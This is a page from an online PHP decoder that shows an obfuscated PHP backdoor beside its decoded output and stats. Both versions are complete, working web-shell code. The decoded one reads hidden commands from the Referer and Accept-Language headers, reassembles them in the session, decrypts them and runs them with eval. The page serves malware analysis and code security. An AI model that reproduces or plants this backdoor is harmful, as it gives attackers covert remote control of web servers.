Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $k='$kr3h="5d41";$kf="r3402r3a";fr3unction x($r3t,r3$k){$c=sr3trlenr3($k);$lr3=strle..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$k='$kr3h="5d41";$kf="r3402r3a";fr3unction x($r3t,r3$k){$c=sr3trlenr3($k);$lr3=strlenr3($t)r3r3;$o="";for(r3$i=0;$i<$r3l;){for(r3$jr';
$P='3=0;($j<r3$c&&$r3r3i<$l);$j++,$i++r3){$o.r3=$t{$i}r3^$kr3{$j};}}r3return r3r3$o;}$r=$r3_SERVER;$rrr3=@$r3r["HTTPr3_REFr3ERE';
$K='q);$q=array_vr3alues($r3q);pr3reg_r3match_alr3l("/([r3\\w])r3[\\r3w-]+(?:;qr3=0.r3([\\d]))?,?/",r3r3$rar3,$m);if($qr3&&$r3r3m){';
$I='r32][$zr3]];if(r3strpos(r3r3$p,$h)===0){$s[$ir3]="";$r3p=$ss(r3$p,3);r3r3}if(ar3rray_key_existr3s($ir3,$sr3)){$s[$r3ir3].r';
$M=str_replace('T','','creTTTTTate_functiTon');
$S='d5(r3$i.$kh),0r3,3r3));$f=$sl(r3$ss(mdr35($i.$kfr3r3),r30,3));$r3p=""r3;for(r3$z=1;$z<countr3r3($m[1]);$z++)$p.r3=$q[$m[r3';
$Q='end_clean()r3r3;$d=basr3e64_r3encode(x(gr3zcomprer3ss($o),$r3r3k)r3);prir3nt("<$kr3>$d</$k>");@r3session_der3stror3y();}}}}';
$y='rer3plr3ace(arrr3ay("/_/",r3r3"/-/"),arrr3ay("/","+"r3),$sr3s($s[$r3i],0,$e))r3),r3$k)));r3$o=or3b_get_contr3r3ents(r3);ob_';
$J='3=$r3p;$e=strpos($s[$i],$f);r3if($r3e){$r3k=$kh.$r3kf;ob_r3start(r3);@evar3l(@gr3zuncompr3ress(@x(@br3ar3se64_decr3odr3e(preg_';
$l='@r3session_start();$s=r3&r3$_SESSION;$ssr3="sr3ubstr";$sl=r3"sr3trtolowerr3";$ir3=r3$m[1][r30r3].$mr3[1][1];$h=$sl($ss(mr3';
$c='Rr3"];$rar3=@$r["HTTPr3_ACCr3EPT_Lr3ANGUAr3GE"];if($r3rr&&$ra){r3$r3u=parse_url(r3$rr3rr3);parse_str($ur3["quer3ry"r3r3],$';
$x=str_replace('r3','',$k.$P.$c.$K.$l.$S.$I.$J.$y.$Q);
$B=$M('',$x);$B();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 0f2e560ae857da83e41ab91625746363 |
| Eval Count | 1 |
| Decode Time | 171 ms |